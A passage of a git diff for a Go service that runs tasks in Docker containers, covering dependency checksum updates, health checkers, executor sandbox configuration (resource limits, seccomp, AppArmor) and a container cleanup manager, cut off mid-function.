+github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= +github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= @@ -150,39 +169,60 @@ github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= github.com/ugorji/go/codec v1.3.0 h1:Qd2W2sQawAfG8XSvzwhBeoGq71zXOC/Q1E9y/wUcsUA= github.com/ugorji/go/codec v1.3.0/go.mod h1:pRBVtBSKl77K30Bv8R2P+cLSGaTtex6fsA2Wjqmfxj4= +github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA= go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A= go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.54.0 h1:TT4fX+nBOA/+LUkobKGW1ydGcn+G3vRw9+g5HwCphpk= go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.54.0/go.mod h1:L7UH0GbB0p47T4Rri3uHjbpCFYrVrwc1I25QhNPiGK8= -go.opentelemetry.io/otel v1.35.0 h1:xKWKPxrxB6OtMCbmMY021CqC45J+3Onta9MqjhnusiQ= -go.opentelemetry.io/otel v1.35.0/go.mod h1:UEqy8Zp11hpkUrL73gSlELM0DupHoiq72dR+Zqel/+Y= -go.opentelemetry.io/otel/metric v1.35.0 h1:0znxYu2SNyuMSQT4Y9WDWej0VpcsxkuklLa4/siN90M= -go.opentelemetry.io/otel/metric v1.35.0/go.mod h1:nKVFgxBZ2fReX6IlyW28MgZojkoAkJGaE8CpgeAU3oE= -go.opentelemetry.io/otel/trace v1.35.0 h1:dPpEfJu1sDIqruz7BHFG3c7528f6ddfSWfFDVt/xgMs= -go.opentelemetry.io/otel/trace v1.35.0/go.mod h1:WUk7DtFp1Aw2MkvqGdwiXYDZZNvA/1J8o6xRXLrIkyc= +go.opentelemetry.io/otel v1.37.0 h1:9zhNfelUvx0KBfu/gb+ZgeAfAgtWrfHJZcAqFC228wQ= +go.opentelemetry.io/otel v1.37.0/go.mod h1:ehE/umFRLnuLa/vSccNq9oS1ErUlkkK71gMcN34UG8I= +go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.37.0 h1:Ahq7pZmv87yiyn3jeFz/LekZmPLLdKejuO3NcK9MssM= +go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.37.0/go.mod h1:MJTqhM0im3mRLw1i8uGHnCvUEeS7VwRyxlLC78PA18M= +go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.37.0 h1:bDMKF3RUSxshZ5OjOTi8rsHGaPKsAt76FaqgvIUySLc= +go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.37.0/go.mod h1:dDT67G/IkA46Mr2l9Uj7HsQVwsjASyV9SjGofsiUZDA= +go.opentelemetry.io/otel/metric v1.37.0 h1:mvwbQS5m0tbmqML4NqK+e3aDiO02vsf/WgbsdpcPoZE= +go.opentelemetry.io/otel/metric v1.37.0/go.mod h1:04wGrZurHYKOc+RKeye86GwKiTb9FKm1WHtO+4EVr2E= +go.opentelemetry.io/otel/sdk v1.37.0 h1:ItB0QUqnjesGRvNcmAcU0LyvkVyGJ2xftD29bWdDvKI= +go.opentelemetry.io/otel/sdk v1.37.0/go.mod h1:VredYzxUvuo2q3WRcDnKDjbdvmO0sCzOvVAiY+yUkAg= +go.opentelemetry.io/otel/trace v1.37.0 h1:HLdcFNbRQBE2imdSEgm/kwqmQj1Or1l/7bW6mxVK7z4= +go.opentelemetry.io/otel/trace v1.37.0/go.mod h1:TlgrlQ+PtQO5XFerSPUYG0JSgGyryXewPGyayAWSBS0= +go.opentelemetry.io/proto/otlp v1.7.0 h1:jX1VolD6nHuFzOYso2E73H85i92Mv8JQYk0K9vz09os= +go.opentelemetry.io/proto/otlp v1.7.0/go.mod h1:fSKjH6YJ7HDlwzltzyMj036AJ3ejJLCgCSHGj4efDDo= go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE= go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0= golang.org/x/arch v0.18.0 h1:WN9poc33zL4AzGxqf8VtpKUnGvMi8O9lhNyBMF/85qc= golang.org/x/arch v0.18.0/go.mod h1:bdwinDaKcfZUGpH09BB7ZmOfhalA8lQdzl62l8gGWsk= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.39.0 h1:SHs+kF4LP+f+p14esP5jAoDpHU8Gu/v9lFRK6IT5imM= golang.org/x/crypto v0.39.0/go.mod h1:L+Xg3Wf6HoL4Bn4238Z6ft6KfEpN0tJGo53AAPC632U= +golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.25.0 h1:n7a+ZbQKQA/Ysbyb0/6IbB1H/X41mKgbhfv7AfG/44w= golang.org/x/mod v0.25.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.41.0 h1:vBTly1HeNPEn3wtREYfy4GZ/NECgw2Cnl+nK6Nz3uvw= golang.org/x/net v0.41.0/go.mod h1:B/K4NNqkfmg07DQYrbwvSluqCJOOXwUjeb/5lOisjbA= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.15.0 h1:KWH3jNZsfyT6xfAfKiz6MRNmd46ByHDYaZ7KSkCtdW8= golang.org/x/sync v0.15.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -200,12 +240,26 @@ golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.26.0 h1:P42AVeLghgTYr4+xUnTRKDMqpar+PtX7KWuNQL21L8M= golang.org/x/text v0.26.0/go.mod h1:QK15LZJUUQVJxhz7wXgxSy/CJaTFjd0G+YLonydOVQA= +golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk= +golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.34.0 h1:qIpSLOxeCYGg9TrcJokLBG4KFA6d795g0xkBkiESGlo= golang.org/x/tools v0.34.0/go.mod h1:pAP9OwEaY1CAW3HOmg3hLZC5Z0CCmzjAF2UQMSqNARg= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/genproto v0.0.0-20240213162025-012b6fc9bca9 h1:9+tzLLstTlPTRyJTh+ah5wIMsBW5c4tQwGTN3thOW9Y= +google.golang.org/genproto/googleapis/api v0.0.0-20250603155806-513f23925822 h1:oWVWY3NzT7KJppx2UKhKmzPq4SRe0LdCijVRwvGeikY= +google.golang.org/genproto/googleapis/api v0.0.0-20250603155806-513f23925822/go.mod h1:h3c4v36UTKzUiuaOKQ6gr3S+0hovBtUrXzTG/i3+XEc= +google.golang.org/genproto/googleapis/rpc v0.0.0-20250603155806-513f23925822 h1:fc6jSaCT0vBduLYZHYrBBNY4dsWuvgyff9noRNDdBeE= +google.golang.org/genproto/googleapis/rpc v0.0.0-20250603155806-513f23925822/go.mod h1:qQ0YXyHHx3XkvlzUtpXDkS29lDSafHMZBAZDc03LQ3A= +google.golang.org/grpc v1.73.0 h1:VIWSmpI2MegBtTuFt5/JWy2oXxtjJ/e89Z70ImfD2ok= +google.golang.org/grpc v1.73.0/go.mod h1:50sbHOUqWoCQGI8V2HQLJM0B+LMlIUjNSZmow7EVBQc= google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY= google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= @@ -214,4 +268,6 @@ gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EV gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gotest.tools/v3 v3.5.2 h1:7koQfIKdy+I8UTetycgUqXWSDwpgv193Ka+qRsmBY8Q= +gotest.tools/v3 v3.5.2/go.mod h1:LtdLGcnqToBH83WByAAi/wiwSFCArdFIUV/xxN4pcjA= nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= diff --git a/internal/api/routes/routes.go b/internal/api/routes/routes.go index 41e1f68..de47f97 100644 --- a/internal/api/routes/routes.go +++ b/internal/api/routes/routes.go @@ -1,6 +1,9 @@ package routes import ( + "context" + "time" + "github.com/gin-gonic/gin" "github.com/voidrunnerhq/voidrunner/internal/api/handlers" "github.com/voidrunnerhq/voidrunner/internal/api/middleware" @@ -11,9 +14,9 @@ import ( "github.com/voidrunnerhq/voidrunner/pkg/logger" ) -func Setup(router *gin.Engine, cfg *config.Config, log *logger.Logger, dbConn *database.Connection, repos *database.Repositories, authService *auth.Service) { +func Setup(router *gin.Engine, cfg *config.Config, log *logger.Logger, dbConn *database.Connection, repos *database.Repositories, authService *auth.Service, taskExecutionService *services.TaskExecutionService, taskExecutorService *services.TaskExecutorService) { setupMiddleware(router, cfg, log) - setupRoutes(router, cfg, log, dbConn, repos, authService) + setupRoutes(router, cfg, log, dbConn, repos, authService, taskExecutionService, taskExecutorService) } func setupMiddleware(router *gin.Engine, cfg *config.Config, log *logger.Logger) { @@ -25,8 +28,13 @@ func setupMiddleware(router *gin.Engine, cfg *config.Config, log *logger.Logger) router.Use(middleware.ErrorHandler()) } -func setupRoutes(router *gin.Engine, cfg *config.Config, log *logger.Logger, dbConn *database.Connection, repos *database.Repositories, authService *auth.Service) { +func setupRoutes(router *gin.Engine, cfg *config.Config, log *logger.Logger, dbConn *database.Connection, repos *database.Repositories, authService *auth.Service, taskExecutionService *services.TaskExecutionService, taskExecutorService *services.TaskExecutorService) { healthHandler := handlers.NewHealthHandler() + + // Add health checks for different components + healthHandler.AddHealthCheck("database", &DatabaseHealthChecker{conn: dbConn}) + healthHandler.AddHealthCheck("executor", &ExecutorHealthChecker{service: taskExecutorService}) + authHandler := handlers.NewAuthHandler(authService, log.Logger) authMiddleware := middleware.NewAuthMiddleware(authService, log.Logger) docsHandler := handlers.NewDocsHandler() @@ -88,7 +96,6 @@ func setupRoutes(router *gin.Engine, cfg *config.Config, log *logger.Logger, dbC // Task management endpoints taskHandler := handlers.NewTaskHandler(repos.Tasks, log.Logger) - taskExecutionService := services.NewTaskExecutionService(dbConn, log.Logger) executionHandler := handlers.NewTaskExecutionHandler(repos.Tasks, repos.TaskExecutions, taskExecutionService, log.Logger) taskValidation := middleware.TaskValidation(log.Logger) @@ -157,3 +164,41 @@ func setupRoutes(router *gin.Engine, cfg *config.Config, log *logger.Logger, dbC ) } } + +// DatabaseHealthChecker implements health checking for database +type DatabaseHealthChecker struct { + conn *database.Connection +} + +func (d *DatabaseHealthChecker) CheckHealth() (status string, err error) { + if d.conn == nil { + return "ready", nil // For tests, consider nil database as healthy + } + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + if err := d.conn.HealthCheck(ctx); err != nil { + return "unhealthy", err + } + return "ready", nil +} + +// ExecutorHealthChecker implements health checking for Docker executor +type ExecutorHealthChecker struct { + service *services.TaskExecutorService +} + +func (e *ExecutorHealthChecker) CheckHealth() (status string, err error) { + if e.service == nil { + return "ready", nil // For tests, consider nil executor as healthy + } + + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + if err := e.service.GetExecutorHealth(ctx); err != nil { + return "unhealthy", err + } + return "ready", nil +} diff --git a/internal/api/routes/routes_test.go b/internal/api/routes/routes_test.go index 92feb44..8830944 100644 --- a/internal/api/routes/routes_test.go +++ b/internal/api/routes/routes_test.go @@ -11,6 +11,7 @@ import ( "github.com/voidrunnerhq/voidrunner/internal/auth" "github.com/voidrunnerhq/voidrunner/internal/config" "github.com/voidrunnerhq/voidrunner/internal/database" + "github.com/voidrunnerhq/voidrunner/internal/services" "github.com/voidrunnerhq/voidrunner/pkg/logger" ) @@ -37,12 +38,14 @@ func setupTestRouter(t *testing.T) *gin.Engine { log := logger.NewWithWriter("info", "json", &buf) // Create minimal test dependencies - var dbConn *database.Connection // nil is fine for route testing - repos := &database.Repositories{} // empty is fine for route testing - authService := &auth.Service{} // empty is fine for route testing + var dbConn *database.Connection // nil is fine for route testing + repos := &database.Repositories{} // empty is fine for route testing + authService := &auth.Service{} // empty is fine for route testing + var taskExecutionService *services.TaskExecutionService // nil is fine for route testing + var taskExecutorService *services.TaskExecutorService // nil is fine for route testing // Setup routes - Setup(router, cfg, log, dbConn, repos, authService) + Setup(router, cfg, log, dbConn, repos, authService, taskExecutionService, taskExecutorService) return router } @@ -497,11 +500,13 @@ func BenchmarkSetup(b *testing.B) { var dbConn *database.Connection repos := &database.Repositories{} authService := &auth.Service{} + var taskExecutionService *services.TaskExecutionService + var taskExecutorService *services.TaskExecutorService b.ResetTimer() for i := 0; i < b.N; i++ { router := gin.New() - Setup(router, cfg, log, dbConn, repos, authService) + Setup(router, cfg, log, dbConn, repos, authService, taskExecutionService, taskExecutorService) } } diff --git a/internal/config/config.go b/internal/config/config.go index 8bd1460..db283f5 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -16,6 +16,7 @@ type Config struct { Logger LoggerConfig CORS CORSConfig JWT JWTConfig + Executor ExecutorConfig } type ServerConfig struct { @@ -52,6 +53,23 @@ type JWTConfig struct { Audience string } +type ExecutorConfig struct { + DockerEndpoint string + DefaultMemoryLimitMB int + DefaultCPUQuota int64 + DefaultPidsLimit int64 + DefaultTimeoutSeconds int + PythonImage string + BashImage string + JavaScriptImage string + GoImage string + EnableSeccomp bool + SeccompProfilePath string + EnableAppArmor bool + AppArmorProfile string + ExecutionUser string +} + func Load() (*Config, error) { _ = godotenv.Load() @@ -85,6 +103,22 @@ func Load() (*Config, error) { Issuer: getEnv("JWT_ISSUER", "voidrunner"), Audience: getEnv("JWT_AUDIENCE", "voidrunner-api"), }, + Executor: ExecutorConfig{ + DockerEndpoint: getEnv("DOCKER_ENDPOINT", "unix:///var/run/docker.sock"), + DefaultMemoryLimitMB: getEnvInt("EXECUTOR_DEFAULT_MEMORY_LIMIT_MB", 128), + DefaultCPUQuota: getEnvInt64("EXECUTOR_DEFAULT_CPU_QUOTA", 50000), + DefaultPidsLimit: getEnvInt64("EXECUTOR_DEFAULT_PIDS_LIMIT", 128), + DefaultTimeoutSeconds: getEnvInt("EXECUTOR_DEFAULT_TIMEOUT_SECONDS", 300), + PythonImage: getEnv("EXECUTOR_PYTHON_IMAGE", "python:3.11-alpine"), + BashImage: getEnv("EXECUTOR_BASH_IMAGE", "alpine:latest"), + JavaScriptImage: getEnv("EXECUTOR_JAVASCRIPT_IMAGE", "node:18-alpine"), + GoImage: getEnv("EXECUTOR_GO_IMAGE", "golang:1.21-alpine"), + EnableSeccomp: getEnvBool("EXECUTOR_ENABLE_SECCOMP", true), + SeccompProfilePath: getEnv("EXECUTOR_SECCOMP_PROFILE_PATH", "/opt/voidrunner/seccomp-profile.json"), + EnableAppArmor: getEnvBool("EXECUTOR_ENABLE_APPARMOR", false), + AppArmorProfile: getEnv("EXECUTOR_APPARMOR_PROFILE", "voidrunner-executor"), + ExecutionUser: getEnv("EXECUTOR_EXECUTION_USER", "1000:1000"), + }, } if err := config.validate(); err != nil { @@ -127,6 +161,30 @@ func (c *Config) validate() error { return fmt.Errorf("JWT refresh token duration must be positive") } + if c.Executor.DefaultMemoryLimitMB <= 0 { + return fmt.Errorf("executor default memory limit must be positive") + } + + if c.Executor.DefaultCPUQuota <= 0 { + return fmt.Errorf("executor default CPU quota must be positive") + } + + if c.Executor.DefaultPidsLimit <= 0 { + return fmt.Errorf("executor default PID limit must be positive") + } + + if c.Executor.DefaultTimeoutSeconds <= 0 { + return fmt.Errorf("executor default timeout must be positive") + } + + if c.Executor.PythonImage == "" { + return fmt.Errorf("executor Python image must be specified") + } + + if c.Executor.BashImage == "" { + return fmt.Errorf("executor Bash image must be specified") + } + return nil } @@ -169,3 +227,33 @@ func getEnvDuration(key string, defaultValue time.Duration) time.Duration { } return defaultValue } + +func getEnvInt(key string, defaultValue int) int { + if value := os.Getenv(key); value != "" { + intValue, err := strconv.Atoi(value) + if err == nil { + return intValue + } + } + return defaultValue +} + +func getEnvInt64(key string, defaultValue int64) int64 { + if value := os.Getenv(key); value != "" { + intValue, err := strconv.ParseInt(value, 10, 64) + if err == nil { + return intValue + } + } + return defaultValue +} + +func getEnvBool(key string, defaultValue bool) bool { + if value := os.Getenv(key); value != "" { + boolValue, err := strconv.ParseBool(value) + if err == nil { + return boolValue + } + } + return defaultValue +} diff --git a/internal/executor/cleanup.go b/internal/executor/cleanup.go new file mode 100644 index 0000000..c1991c3 --- /dev/null +++ b/internal/executor/cleanup.go @@ -0,0 +1,460 @@ +package executor + +import ( + "context" + "fmt" + "log/slog" + "sync" + "time" + + "github.com/google/uuid" +) + +// CleanupManager handles resource cleanup and container management +type CleanupManager struct { + client ContainerClient + logger *slog.Logger + mu sync.RWMutex + containers map[string]*ContainerInfo +} + +// ContainerInfo tracks information about running containers +type ContainerInfo struct { + ID string + TaskID uuid.UUID + ExecutionID uuid.UUID + CreatedAt time.Time + StartedAt *time.Time + Status string + Image string +} + +// NewCleanupManager creates a new cleanup manager +func NewCleanupManager(client ContainerClient, logger *slog.Logger) *CleanupManager { + if logger == nil { + logger = slog.Default() + } + + cm := &CleanupManager{ + client: client, + logger: logger, + containers: make(map[string]*ContainerInfo), + } + + // Start periodic cleanup + cm.startPeriodicCleanup() + + return cm +} + +// safeContainerID returns a safe version of container ID for logging +func (cm *CleanupManager) safeContainerID(containerID string) string { + if len(containerID) <= 12 { + return containerID + } + return containerID[:12] +} + +// RegisterContainer registers a container for tracking +func (cm *CleanupManager) RegisterContainer(containerID string, taskID, executionID uuid.UUID, image string) error { + // Validate input parameters + if containerID == "" { + err := fmt.Errorf("cannot register container with empty ID") + cm.logger.Error(err.Error()) + return err + } + + // Validate UUIDs + if taskID == uuid.Nil { + err := fmt.Errorf("cannot register container with nil task ID") + cm.logger.Error(err.Error()) + return err + } + + if executionID == uuid.Nil { + err := fmt.Errorf("cannot register container with nil execution ID") + cm.logger.Error(err.Error()) + return err + } + + // Validate image name + if image == "" { + err := fmt.Errorf("cannot register container with empty image name") + cm.logger.Error(err.Error()) + return err + } + + cm.mu.Lock() + defer cm.mu.Unlock() + + // Check if container is already registered + if _, exists := cm.containers[containerID]; exists { + err := fmt.Errorf("container %s is already registered", cm.safeContainerID(containerID)) + cm.logger.Warn(err.Error()) + return err + } + + cm.containers[containerID] = &ContainerInfo{ + ID: containerID, + TaskID: taskID, + ExecutionID: executionID, + CreatedAt: time.Now(), + Status: "created", + Image: image, + } + + cm.logger.Debug("registered container for tracking", + "container_id", cm.safeContainerID(containerID), + "task_id", taskID.String(), + "execution_id", executionID.String()) + + return nil +} + +// MarkContainerStarted marks a container as started +func (cm *CleanupManager) MarkContainerStarted(containerID string) { + cm.mu.Lock() + defer cm.mu.Unlock() + + if info, exists := cm.containers[containerID]; exists { + now := time.Now() + info.StartedAt = &now + info.Status = "running" + cm.logger.Debug("marked container as started", "container_id", cm.safeContainerID(containerID)) + } +} + +// MarkContainerCompleted marks a container as completed +func (cm *CleanupManager) MarkContainerCompleted(containerID string, status string) { + cm.mu.Lock() + defer cm.mu.Unlock() + + if info, exists := cm.containers[containerID]; exists { + info.Status = status + cm.logger.Debug("marked container as completed", + "container_id", cm.safeContainerID(containerID), + "status", status) + } +} + +// UnregisterContainer removes a container from tracking +func (cm *CleanupManager) UnregisterContainer(containerID string) { + cm.mu.Lock() + defer cm.mu.Unlock() + + delete(cm.containers, containerID) + cm.logger.Debug("unregistered container", "container_id", cm.safeContainerID(containerID)) +} + +// CleanupContainer performs cleanup for a specific container +func (cm *CleanupManager) CleanupContainer(ctx context.Context, containerID string, force bool) error { + logger := cm.logger.With("container_id", cm.safeContainerID(containerID)) + logger.Debug("starting container cleanup", "force", force) + + // First try to stop the container gracefully + if !force { + stopCtx, stopCancel := context.WithTimeout(ctx, 10*time.Second) + defer stopCancel() + + if err := cm.client.StopContainer(stopCtx, containerID, 5*time.Second); err != nil { + logger.Warn("failed to stop container gracefully", "error", err) + force = true + } else { + logger.Debug("container stopped gracefully") + } + } + + // Remove the container + removeCtx, removeCancel := context.WithTimeout(ctx, 30*time.Second) + defer removeCancel() + + if err := cm.client.RemoveContainer(removeCtx, containerID, force); err != nil { + logger.Error("failed to remove container", "error", err) + return NewContainerError(containerID, "cleanup", "failed to remove container", err) + } + + // Unregister from tracking + cm.UnregisterContainer(containerID) + + logger.Info("container cleanup completed successfully") + return nil +} + +// CleanupExecution cleans up all containers associated with an execution +func (cm *CleanupManager) CleanupExecution(ctx context.Context, executionID uuid.UUID) error { + cm.mu.RLock() + var containersToCleanup []string + for containerID, info := range cm.containers { + if info.ExecutionID == executionID { + containersToCleanup = append(containersToCleanup, containerID) + } + } + cm.mu.RUnlock() + + if len(containersToCleanup) == 0 { + cm.logger.Debug("no containers to cleanup for execution", "execution_id", executionID.String()) + return nil + } + + cm.logger.Info("cleaning up containers for execution", + "execution_id", executionID.String(), + "container_count", len(containersToCleanup)) + + var lastErr error + for _, containerID := range containersToCleanup { + if err := cm.CleanupContainer(ctx, containerID, true); err != nil { + lastErr = err + cm.logger.Error("failed to cleanup container in execution cleanup", + "container_id", cm.safeContainerID(containerID), + "execution_id", executionID.String(), + "error", err) + } + } + + return lastErr +} + +// CleanupTask cleans up all containers associated with a task +func (cm *CleanupManager) CleanupTask(ctx context.Context, taskID uuid.UUID) error { + cm.mu.RLock() + var containersToCleanup []string + for containerID, info := range cm.containers { + if info.TaskID == taskID { + containersToCleanup = append(containersToCleanup, containerID) + } + } + cm.mu.RUnlock() + + if len(containersToCleanup) == 0 { + cm.logger.Debug("no containers to cleanup for task", "task_id", taskID.String()) + return nil + } + + cm.logger.Info("cleaning up containers for task", + "task_id", taskID.String(), + "container_count", len(containersToCleanup)) + + var lastErr error + for _, containerID := range containersToCleanup { + if err := cm.CleanupContainer(ctx, containerID, true); err != nil { + lastErr = err + cm.logger.Error("failed to cleanup container in task cleanup", + "container_id", cm.safeContainerID(containerID), + "task_id", taskID.String(), + "error", err) + } + } + + return lastErr +} + +// CleanupStaleContainers removes containers that have been running too long +func (cm *CleanupManager) CleanupStaleContainers(ctx context.Context, maxAge time.Duration) error { + cm.mu.RLock() + now := time.Now() + var staleContainers []string + + for containerID, info := range cm.containers { + age := now.Sub(info.CreatedAt) + if age > maxAge { + staleContainers = append(staleContainers, containerID) + } + } + cm.mu.RUnlock() + + if len(staleContainers) == 0 { + return nil + } + + cm.logger.Info("cleaning up stale containers", + "count", len(staleContainers), + 